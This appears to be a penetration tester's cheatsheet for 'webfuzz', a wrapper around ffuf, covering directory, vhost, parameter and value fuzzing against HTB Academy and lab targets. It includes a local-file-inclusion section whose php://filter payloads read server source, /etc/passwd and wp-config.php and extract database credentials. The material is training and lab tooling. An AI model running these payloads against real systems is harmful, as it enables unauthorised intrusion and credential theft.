daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

webfuzz.md (11405B)


      1 ---
      2 title: "webfuzz"
      3 description: "brew install ffuf"
      4 category: tools
      5 tags: ["tools"]
      6 tools: ["ffuf", "Gobuster"]
      7 difficulty: intermediate
      8 updated: "2026-08-10"
      9 source: "vault:Tools/webfuzz.md"
     10 ---
     11 # Requirements: ffuf, python3, curl (all present on the working box). SecLists optional.
     12 brew install ffuf
     13 
     14 # System-wide, no sudo (already done, and ~/.local/bin is first on PATH)
     15 ln -sf "/Volumes/bmdrbeKUVgvV/Cybersecurity/Code/webfuzz/webfuzz.py" ~/.local/bin/webfuzz
     16 
     17 # System-wide in /usr/local/bin (needs sudo, that dir is root-owned)
     18 sudo ln -sf "/Volumes/bmdrbeKUVgvV/Cybersecurity/Code/webfuzz/webfuzz.py" /usr/local/bin/webfuzz
     19 
     20 # Point at a real SecLists install for full-size wordlists (add to ~/.zshrc)
     21 export WEBFUZZ_SECLISTS="$HOME/tools/SecLists"
     22 
     23 webfuzz -h            # sanity check
     24 ```
     25 
     26 > [!warning]+ Vault-mounted caveat
     27 > 1. The tool lives on the Cryptomator vault, so the symlink only resolves while that vault is **mounted**.
     28 > 2. To use it even when the vault is locked, copy the `webfuzz/` folder to somewhere permanent (e.g. `~/tools/webfuzz`) and repoint the symlink there.
     29 > 3. *The script resolves its own real path, so a symlink still finds its bundled wordlists.*
     30 
     31 ---
     32 
     33 ## Modes overview
     34 
     35 | Mode | Fuzzes | Minimal command |
     36 |---|---|---|
     37 | `dir` | directories `URL/FUZZ` | `webfuzz dir -u http://t/` |
     38 | `page` | page names `URL/FUZZ.php` | `webfuzz page -u http://t/blog/` |
     39 | `ext` | extensions `URLFUZZ` | `webfuzz ext -u http://t/blog/index` |
     40 | `recurse` | dirs recursively (+`.php`, `-v`) | `webfuzz recurse -u http://t/` |
     41 | `dns` | public sub-domains `FUZZ.domain` | `webfuzz dns -d inlanefreight.com --scheme https` |
     42 | `vhost` | `Host: FUZZ.domain` (auto `-fs`) | `webfuzz vhost -u http://IP/ -d domain` |
     43 | `getparam` | GET param names `?FUZZ=key` | `webfuzz getparam -u http://t/a.php` |
     44 | `postparam` | POST param names `-d FUZZ=key` | `webfuzz postparam -u http://t/a.php` |
     45 | `value` | a param's value `id=FUZZ` | `webfuzz value -u http://t/a.php -p id --range 1-1000` |
     46 | `lfi` | filenames via `php://filter` + decode | `webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /var/www/html/` |
     47 
     48 ---
     49 
     50 ## Content discovery
     51 
     52 ```bash
     53 # Directories:  URL/FUZZ
     54 webfuzz dir -u http://10.10.10.10/
     55 
     56 # Page names under a directory:  /blog/FUZZ.php  (change ext with --ext)
     57 webfuzz page -u http://10.10.10.10/blog/ --ext php
     58 
     59 # Extensions on a known file:  /blog/indexFUZZ
     60 webfuzz ext -u http://10.10.10.10/blog/index
     61 
     62 # Recursive dirs, auto-adds -e .php and -v so you see which file is where
     63 webfuzz recurse -u http://10.10.10.10/ --depth 1
     64 
     65 # Add extensions / recursion to any dir run yourself
     66 webfuzz dir -u http://10.10.10.10/ -e .php,.txt,.html -R --depth 2
     67 ```
     68 
     69 > [!info]+ ffuf equivalent
     70 > `webfuzz dir -u http://t/` becomes
     71 > `ffuf -w <list>:FUZZ -u http://t/FUZZ -ic -c` (plus an auto `-fs` only if the server soft-404s).
     72 
     73 ---
     74 
     75 ## Sub-domains and VHosts
     76 
     77 ```bash
     78 # Public sub-domains via real DNS (note: public academy example uses https)
     79 webfuzz dns -d inlanefreight.com --scheme https
     80 
     81 # VHosts on one IP via Host-header fuzzing — auto-calibrates -fs for you
     82 webfuzz vhost -u http://10.129.203.101/ -d inlanefreight.local
     83 
     84 # Your original manual command, one-lined and auto-filtered:
     85 webfuzz vhost -u http://10.129.203.101/ -d inlanefreight.local -w namelist.txt
     86 ```
     87 
     88 > [!example]+ What the vhost auto-`-fs` replaces
     89 > The raw command you used to type:
     90 > ```bash
     91 > ffuf -w namelist.txt:FUZZ -u http://10.129.203.101/ -H 'Host:FUZZ.inlanefreight.local' -fs 15157
     92 > ```
     93 > With webfuzz, the `-fs 15157` is discovered automatically by probing a couple of random `*.inlanefreight.local` hosts. Pass `--fs 15157` yourself to skip calibration, or `--no-auto` to disable it.
     94 
     95 ---
     96 
     97 ## Parameter and value fuzzing
     98 
     99 ```bash
    100 # GET parameter NAME:  /admin/admin.php?FUZZ=key
    101 webfuzz getparam -u http://admin.academy.htb:PORT/admin/admin.php
    102 
    103 # POST parameter NAME:  -d 'FUZZ=key' with urlencoded content-type
    104 webfuzz postparam -u http://admin.academy.htb:PORT/admin/admin.php
    105 
    106 # VALUE of a known parameter, numeric range wordlist generated on the fly
    107 webfuzz value -u http://admin.academy.htb:PORT/admin/admin.php -p id --range 1-1000
    108 
    109 # VALUE fuzzing over GET instead of POST, with a custom wordlist
    110 webfuzz value -u http://t/a.php -p user --method GET -w /path/users.txt
    111 ```
    112 
    113 > [!info]+ Command Breakdown
    114 > 1. **`--value`** (getparam/postparam) sets the placeholder value sent with each fuzzed name; default is `key`.
    115 > 2. **`-p / --param`** (value mode) is the fixed parameter name whose value you are brute-forcing.
    116 > 3. **`--range A-B`** writes a numeric wordlist `A..B` to `webfuzz-out/` and uses it — the classic `for i in $(seq 1 1000)` trick, built in.
    117 > 4. All three auto-calibrate `-fs` from a random-parameter/value baseline, so the default "invalid" response is filtered automatically.
    118 
    119 ---
    120 
    121 ## PHP-filter base64 LFI (the Dante trick)
    122 
    123 ```bash
    124 # One command: wrap, match PHP source, then auto curl + base64 -d every hit
    125 webfuzz lfi -u 'http://172.16.1.10/nav.php?page=FUZZ' --resource /var/www/html/wordpress/
    126 ```
    127 
    128 > [!success]+ What this automates
    129 > 1. Rewrites `FUZZ` into `php://filter/read=convert.base64-encode/resource=/var/www/html/wordpress/FUZZ`.
    130 > 2. Adds `-mc all -mr PD9waH -fs 0` — `PD9waH` is base64 for `<?ph`, so only **real PHP source** matches and empty responses are dropped.
    131 > 3. For every hit it `curl`s the URL, base64-decodes it, and saves the source to `webfuzz-out/decoded/`.
    132 > 4. Scans the decoded files and prints any **URLs** and **DB creds / secrets** — i.e. the URL you are hunting for pops out on its own.
    133 
    134 > [!example]+ The raw commands it replaces (straight from the Dante notes)
    135 > ```bash
    136 > ffuf -w raft-medium-files.txt:FUZZ \
    137 >   -u "http://172.16.1.10/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/wordpress/FUZZ" \
    138 >   -mr "PD9waH" -fs 0
    139 > curl -s "http://172.16.1.10/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/wordpress/wp-config.php" | base64 -d
    140 > ```
    141 
    142 ```bash
    143 # Already wrote the full php://filter payload yourself? Skip the wrapping:
    144 webfuzz lfi -u 'http://t/nav.php?page=php://filter/read=convert.base64-encode/resource=/etc/passwdFUZZ' --no-wrap
    145 
    146 # Read non-PHP files too (drops the PHP-only matcher, keeps -fs 0)
    147 webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /etc/ --all
    148 
    149 # Use the rot13 filter instead of base64
    150 webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /var/www/ --conv rot13
    151 
    152 # Find the files but decode them yourself later
    153 webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /var/www/ --no-decode
    154 ```
    155 
    156 ---
    157 
    158 ## Common flags `fas:Screwdriver`
    159 
    160 | Flag | Meaning |
    161 |---|---|
    162 | `--dry-run` | print the ffuf command, do not run it |
    163 | `-w LIST` | wordlist: path, bundled name, or SecLists basename |
    164 | `-t 200` | threads (default 40) · `--rate N` cap requests/sec |
    165 | `-H 'X: Y'` | extra header (repeatable) · `-b 'a=b'` cookie · `-x URL` proxy |
    166 | `-k` | ignore TLS cert errors (lab self-signed) |
    167 | `-r` | follow redirects · `-e .php,.html` extensions |
    168 | `-R --depth N` | recursion + depth |
    169 | `--scheme https` | scheme when built from a domain · `--port N` inject a port |
    170 | `--fs/--fc/--fw/--fl` `--mc/--mr/--ms/--mw/--ml` | pass any ffuf matcher/filter through (also disables auto `-fs`) |
    171 | `--no-auto` | turn off webfuzz's automatic `-fs` calibration |
    172 | `-A / --ac` | use ffuf's native `-ac` instead of webfuzz's baseline |
    173 | `-o FILE` `--outdir DIR` | JSON output path / loot dir (default `./webfuzz-out`) |
    174 | `-v` | verbose (full URLs) · `--no-color` plain output |
    175 
    176 > [!info]+ Output
    177 > 1. Live ffuf output plus a clean hit summary.
    178 > 2. Machine-readable results at `webfuzz-out/<mode>-<timestamp>.json`.
    179 > 3. LFI loot (decoded source) at `webfuzz-out/decoded/`.
    180 
    181 ---
    182 
    183 ## HTB module walkthrough, in order `fas:ClipboardList`
    184 
    185 ```bash
    186 # 1. directories, recursively, with .php in one shot
    187 webfuzz recurse -u http://SERVER_IP:PORT/
    188 
    189 # 2. which extension does /blog use?
    190 webfuzz ext -u http://SERVER_IP:PORT/blog/index
    191 
    192 # 3. pages under /blog
    193 webfuzz page -u http://SERVER_IP:PORT/blog/ --ext php
    194 
    195 # 4. public sub-domains
    196 webfuzz dns -d inlanefreight.com --scheme https
    197 
    198 # 5. non-public vhosts on the same IP (auto -fs), then add admin.academy.htb to /etc/hosts
    199 webfuzz vhost -u http://academy.htb:PORT/ -d academy.htb
    200 
    201 # 6. find a working parameter (POST)
    202 webfuzz postparam -u http://admin.academy.htb:PORT/admin/admin.php
    203 
    204 # 7. brute the value of that parameter
    205 webfuzz value -u http://admin.academy.htb:PORT/admin/admin.php -p id --range 1-1000
    206 ```
    207 
    208 ---
    209 
    210 ## Try it offline (no target)
    211 
    212 ```bash
    213 cd /Volumes/bmdrbeKUVgvV/Cybersecurity/Code/webfuzz/.selftest
    214 python3 server.py 8099 &
    215 webfuzz vhost -u http://127.0.0.1:8099/ -d inlanefreight.local          # finds admin
    216 webfuzz value -u http://127.0.0.1:8099/admin/admin.php -p id --range 1-100   # finds 42
    217 webfuzz lfi   -u 'http://127.0.0.1:8099/nav.php?page=FUZZ' --resource /var/www/html/wordpress/
    218 kill %1
    219 ```
    220 
    221 ---
    222 
    223 ## Troubleshooting `fas:CircleXmark`
    224 
    225 | Symptom | Cause | Fix |
    226 |---|---|---|
    227 | `wordlist not found: namelist.txt` | not in the current directory | `cd` to where the list is, or pass a full path to `-w` |
    228 | Flooded with 200s in `vhost` | server returns the same page for every host and calibration missed it | pass `--fs <size>` manually, or use `-A` |
    229 | Real dirs missing in `dir` | over-filtering on a soft-404 server | check the "auto-filtering with -fs" line; rerun with `--no-auto` or a manual `--fc` |
    230 | `lfi` finds nothing | wrong `--resource` base path, or files are not PHP | verify the path, try `--all`, or a bigger `-w` list |
    231 | `SecLists not found` warning | not installed / not discovered | set `WEBFUZZ_SECLISTS`, or ignore it and use the bundled lists |
    232 | TLS errors on https lab box | self-signed cert | add `-k` |
    233 | `webfuzz: command not found` | vault unmounted or symlink missing | remount the vault, or recreate the `~/.local/bin/webfuzz` symlink |
    234 
    235 ---
    236 
    237 ## Lessons Learned `fas:Lightbulb`
    238 
    239 1. **`--dry-run` first when unsure.** It shows the exact ffuf line, which is both a learning aid and the thing you paste into a report.
    240 2. **Let it calibrate `-fs`.** The auto-filter only triggers on catch-all servers, so leaving it on costs three requests and saves the manual size-hunting that made ffuf annoying.
    241 3. **`vhost` needs a size filter, `dir` usually does not.** Wrong vhosts return the default site (a real 200), so size is the only discriminator; normal dir fuzzing already filters on the 404 status.
    242 4. **`lfi` is the payoff.** The `php://filter` + `PD9waH` + auto base64-decode chain reads server-side source and surfaces the hidden URL/creds without a single manual `curl | base64 -d`.
    243 5. **Anything after the known flags is raw ffuf.** When you need a knob the wrapper does not expose, just append it.
    244 
    245 ---
    246 
    247 ## References `fas:BookOpen`
    248 
    249 1. [ffuf on GitHub](https://github.com/ffuf/ffuf)
    250 2. [ffuf wiki](https://github.com/ffuf/ffuf/wiki)
    251 3. [SecLists](https://github.com/danielmiessler/SecLists)
    252 4. [PayloadsAllTheThings — File Inclusion / LFI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion)
    253 5. [PHP php://filter wrapper](https://www.php.net/manual/en/wrappers.php.php)
    254 6. HTB Academy — *Attacking Web Applications with Ffuf*
    255 7. Related: ffuf_cheat_sheet · gobuster · LFI - Cheat Sheet
    256 
    257 ---
    258 
    259 #Tools #webfuzz #ffuf #WebFuzzing #Enumeration #LFI #VHost #Cheatsheet